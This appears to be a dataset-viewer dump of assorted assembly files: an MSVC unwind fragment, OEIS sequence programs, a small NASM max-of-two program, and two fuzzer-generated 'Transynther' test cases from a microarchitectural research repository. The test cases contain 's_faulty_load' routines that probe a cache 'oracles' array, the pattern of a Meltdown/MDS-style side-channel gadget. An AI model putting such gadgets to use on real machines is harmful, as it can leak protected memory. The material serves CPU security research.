jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$8:
lea ecx, DWORD PTR $T148876[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__unwindfunclet$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z$9:
lea ecx, DWORD PTR $T148877[ebp]
jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
__ehhandler$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z:
mov edx, DWORD PTR [esp+8]
lea eax, DWORD PTR [edx+12]
mov ecx, DWORD PTR [edx-536]
xor ecx, eax
call @__security_check_cookie@4
mov ecx, DWORD PTR [edx-8]
xor ecx, eax
call @__security_check_cookie@4
mov eax, OFFSET __ehfuncinfo$?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z
jmp ___CxxFrameHandler3
text$x ENDS
?notificate@notifymyandroid@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@0@Z ENDP ; notifymyandroid::notificate
END
| 46.649007
| 258
| 0.711989
|
8262c2ff7ffb6c9f665d929cc0acd1fa0f2f09e0
| 638
|
asm
|
Assembly
|
programs/oeis/129/A129588.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/129/A129588.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/129/A129588.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A129588: Expansion of q^-1 * theta_2(q)^4 in powers of q^2.
; 16,64,96,128,208,192,224,384,288,320,512,384,496,640,480,512,768,768,608,896,672,704,1248,768,912,1152,864,1152,1280,960,992,1664,1344,1088,1536,1152,1184,1984,1536,1280,1936,1344,1728,1920,1440,1792,2048,1920,1568,2496,1632,1664,3072,1728,1760,2432,1824,2304,2912,2304,2128,2688,2496,2048,2816,2112,2560,3840,2208,2240,3072,2688,2880,3648,2400,2432,3744,3072,2528,3456,3072,2624,4608,2688,2928,4160,2784,3968,3840,2880,2912,3968,3648,3456,5120,3072,3104,5376,3168,3200
mul $0,2
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
mul $0,16
| 91.142857
| 471
| 0.747649
|
cf276f018cbd6501fb31fb4f31a2279d5bae6bcd
| 4,354
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_163.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_163.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_163.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x16f45, %rsi
lea addresses_WC_ht+0x10f0b, %rdi
nop
nop
nop
nop
nop
add $51699, %r10
mov $25, %rcx
rep movsb
nop
nop
inc %r14
lea addresses_WC_ht+0x14c0b, %r15
nop
dec %r10
movl $0x61626364, (%r15)
nop
nop
nop
nop
xor $27174, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %rdx
push %rsi
// Faulty Load
lea addresses_normal+0x1950b, %r10
nop
nop
nop
nop
nop
sub %r11, %r11
mov (%r10), %dx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 53.753086
| 2,999
| 0.664906
|
323df79d17d3e197b579215e7b82c04a3f0f2a28
| 677
|
asm
|
Assembly
|
Lista Assembly/questao3.asm
|
joaovictor42/Arquitetura-de-Computadores
|
28a170113e04c0a39608fd61962aa8bd63604f03
|
[
"MIT"
] | null | null | null |
Lista Assembly/questao3.asm
|
joaovictor42/Arquitetura-de-Computadores
|
28a170113e04c0a39608fd61962aa8bd63604f03
|
[
"MIT"
] | null | null | null |
Lista Assembly/questao3.asm
|
joaovictor42/Arquitetura-de-Computadores
|
28a170113e04c0a39608fd61962aa8bd63604f03
|
[
"MIT"
] | 1
|
2021-07-06T02:05:29.000Z
|
2021-07-06T02:05:29.000Z
|
extern scanf, printf
global main
section .bss
varA resd 1
varB resd 1
section .data
msgEntrada1 db "Digite o primeiro valor:", 0H
msgEntrada2 db "Digite o segundo valor:", 0H
msgSaida db "O maior valor eh: %d", 0AH, 0H
formatoEntrada db "%d", 0H
section .text
main:
push msgEntrada1
call printf
add esp, 4
push varA
push formatoEntrada
call scanf
add esp, 8
push msgEntrada2
call printf
add esp, 4
push varB
push formatoEntrada
call scanf
add esp, 8
mov eax, [varA]
cmp eax, [varB]
jl maiorEhB
jmp saida
maiorEhB:
mov eax, [varB]
saida:
push eax
push msgSaida
call printf
add esp, 8
mov eax, 1
xor ebx, ebx
int 80h
| 12.537037
| 46
| 0.686854
|
a8273c26fec8817feb6a8fb5bf4cdcbd8c26da8c
| 7,959
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_st_zr_un_sm_/i7-7700_9_0xca.log_21829_1126.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_st_zr_un_sm_/i7-7700_9_0xca.log_21829_1126.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_st_zr_un_sm_/i7-7700_9_0xca.log_21829_1126.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1a231, %r9
nop
nop
nop
nop
nop
sub $36343, %rax
movb (%r9), %r12b
dec %r13
lea addresses_UC_ht+0x100c5, %rsi
lea addresses_WC_ht+0x19c05, %rdi
nop
nop
nop
nop
and %r9, %r9
mov $46, %rcx
rep movsw
nop
nop
inc %r12
lea addresses_A_ht+0x197a5, %r12
nop
nop
nop
sub $26415, %rdi
mov (%r12), %ax
sub %r13, %r13
lea addresses_UC_ht+0x18a45, %rcx
nop
nop
cmp $60907, %r12
mov (%rcx), %rdi
nop
sub $27127, %rcx
lea addresses_normal_ht+0x12179, %rdi
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r9
movq %r9, (%rdi)
cmp $33412, %r9
lea addresses_WT_ht+0x1dfed, %r9
nop
nop
nop
and $41581, %rsi
mov (%r9), %r13
xor $26123, %rax
lea addresses_WC_ht+0xba85, %rsi
lea addresses_WC_ht+0x16025, %rdi
nop
nop
nop
nop
nop
add $31511, %rax
mov $32, %rcx
rep movsq
nop
nop
nop
nop
cmp $30, %rax
lea addresses_normal_ht+0x1b385, %rsi
lea addresses_normal_ht+0x1e6f, %rdi
nop
nop
dec %r11
mov $114, %rcx
rep movsq
nop
nop
sub $4716, %rcx
lea addresses_A_ht+0xbaed, %r11
clflush (%r11)
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %r9
movq %r9, %xmm3
movups %xmm3, (%r11)
xor %r13, %r13
lea addresses_normal_ht+0x3c5, %r9
nop
nop
nop
nop
nop
xor $5321, %rcx
mov (%r9), %rax
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WC_ht+0x15fa, %r13
nop
nop
nop
nop
lfence
movups (%r13), %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x6805, %rcx
nop
nop
nop
nop
nop
and %rsi, %rsi
mov (%rcx), %rdi
nop
and $42948, %r11
lea addresses_WT_ht+0xcedd, %rax
clflush (%rax)
inc %r9
mov $0x6162636465666768, %rdi
movq %rdi, (%rax)
and %r9, %r9
lea addresses_normal_ht+0x1e0a5, %rsi
sub $41059, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
and $0xffffffffffffffc0, %rsi
vmovaps %ymm0, (%rsi)
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0xe585, %r12
cmp $54838, %r9
movl $0x61626364, (%r12)
nop
nop
add $32576, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rbp
push %rbx
// Store
mov $0x50d2350000000985, %rbx
xor $14571, %r12
movw $0x5152, (%rbx)
nop
nop
nop
nop
and $23319, %rbp
// Faulty Load
mov $0x50d2350000000985, %rbp
nop
nop
nop
nop
nop
dec %r10
vmovups (%rbp), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r9
lea oracles, %r12
and $0xff, %r9
shlq $12, %r9
mov (%r12,%r9,1), %r9
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}}
{'79': 1, 'f0': 3, '00': 9384, '52': 12441}
00 00 52 00 52 00 52 00 52 52 52 00 52 52 00 00 52 52 52 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 00 00 52 00 52 00 52 52 52 52 52 52 00 52 00 00 00 52 00 52 00 52 52 52 52 52 00 52 00 52 52 00 52 00 52 52 00 00 52 00 52 00 52 00 52 52 52 00 52 00 52 00 52 52 00 00 00 00 52 00 52 52 52 00 52 00 52 00 52 52 52 52 52 52 52 00 52 52 52 00 52 00 52 00 52 52 52 00 52 00 52 00 52 00 52 52 00 00 52 52 52 00 52 52 00 00 52 52 00 00 00 52 52 00 52 00 52 00 52 52 00 00 52 00 52 52 52 52 00 52 00 52 00 52 00 00 00 52 00 00 52 00 52 00 52 00 52 00 52 52 00 52 00 00 52 00 52 00 52 00 52 52 52 00 00 52 00 52 00 52 00 52 00 52 00 52 52 00 00 00 52 52 00 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 52 52 52 00 52 00 00 52 52 00 52 52 00 00 00 00 00 00 00 52 00 52 00 52 00 52 52 00 00 52 00 52 00 52 52 52 00 52 00 52 52 52 00 52 52 52 00 52 00 52 52 00 52 52 52 00 52 00 52 00 00 52 00 52 52 00 00 52 52 00 52 00 52 00 52 00 00 00 52 52 00 52 00 52 00 52 00 52 52 00 52 52 52 00 52 00 52 52 00 52 52 00 00 52 00 52 00 52 00 52 00 52 00 52 00 52 52 52 52 52 00 52 00 52 52 52 52 52 00 52 52 52 00 52 52 00 52 00 52 00 52 52 00 00 52 52 00 52 52 52 52 00 52 52 00 52 00 52 00 52 00 52 00 52 52 52 52 00 52 00 52 00 52 52 52 52 00 52 00 52 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 52 00 52 00 52 52 00 52 52 00 52 52 00 52 52 52 52 00 52 00 52 52 52 00 52 00 52 52 52 00 52 52 52 52 00 52 52 52 00 00 52 00 52 00 52 52 52 00 52 00 52 00 52 00 52 00 52 52 00 00 52 00 52 00 52 00 00 52 52 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 52 52 00 52 52 52 00 52 00 52 00 52 00 52 52 52 00 52 52 52 00 00 52 00 52 52 52 00 52 00 00 00 52 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 52 00 00 52 00 52 00 52 52 00 00 52 52 52 00 52 52 52 00 52 00 00 52 00 52 52 00 52 00 52 00 52 52 00 52 00 52 00 52 52 00 52 52 52 00 00 52 52 00 52 00 52 52 00 00 52 00 52 00 52 00 52 00 52 52 00 00 00 52 00 52 00 52 52 00 52 52 00 00 52 00 52 52 52 00 52 00 52 52 52 52 52 52 00 52 00 52 00 52 00 52 00 52 00 00 00 52 52 00 52 00 52 00 52 00 52 00 52 52 52 00 52 52 00 00 52 52 00 00 52 52 00 52 52 00 52 00 00 00 52 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 00 00 52 00 52 00 52 00 52 52 00 00 00 52 00 52 00 52 00 52 00 52 00 52 52 52 00 52 00 52 00 52 52 00 52 00 52 00 00 00 52 00 52 00 52 52 00 52 00 52 00 52 00 52 00 00 00 52 00 52 52 52 00 52 00 52 00 52 00 52 52 52 00 52 52 52 52 00 52 00 52 00 52 00 00 52 00 52 52 00 52 00 52 52 00 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 00 52 52 00 52 52 00 52 00 52 52 00 52 00 52 00 52 52 52 00 52 00 52 00 00 00 52 00 52 00 00 52 00 52 52 00 52 00 52 00 52 00 52 00 52 00 52 52 52 00 52 00 52 00 52 52 00 00 52 00 52 00 52 00 52 52 52 52 00 52 00 52 00 52 00 52 00 52 00 52 52 52 00 52 52 52 00 52 00 52 00 52 00 52 00 52 52 52 00 52 52 52 52 00 52 52 00 52 52 52 52 00 52 52 00 52 52 52 52 52 00 52 52 00 52 52 00 52 00 52 00 00 00 52 00 52 00 52 00 52 00 52 00 52 52 00 52 00 52 00 52 00 52 00 52 52 52 52 00 00
*/
| 35.061674
| 2,999
| 0.654856
|
0003948ed91a21fe2e7b1e46bb2422cfacf0451d
| 617
|
asm
|
Assembly
|
oeis/048/A048504.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/048/A048504.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/048/A048504.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A048504: a(n) = T(n,n), array T given by A048494.
; 1,2,7,28,101,326,967,2696,7177,18442,46091,112652,270349,638990,1490959,3440656,7864337,17825810,40108051,89653268,199229461,440401942,968884247,2122317848,4630511641,10066329626,21810380827,47110422556,101468602397,217969590302,467077693471,998579896352,2130303778849,4535485464610,9637906612259,20444044328996,43293270343717,91534343012390,193239168581671,407369058091048,857619069665321,1803199069552682,3786718046060587,7942871999053868,16642207998017581,34832528367943726,72831650223882287
mov $1,2
pow $1,$0
mov $2,$0
bin $0,2
mul $0,$1
add $0,$2
add $0,1
| 56.090909
| 496
| 0.834684
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.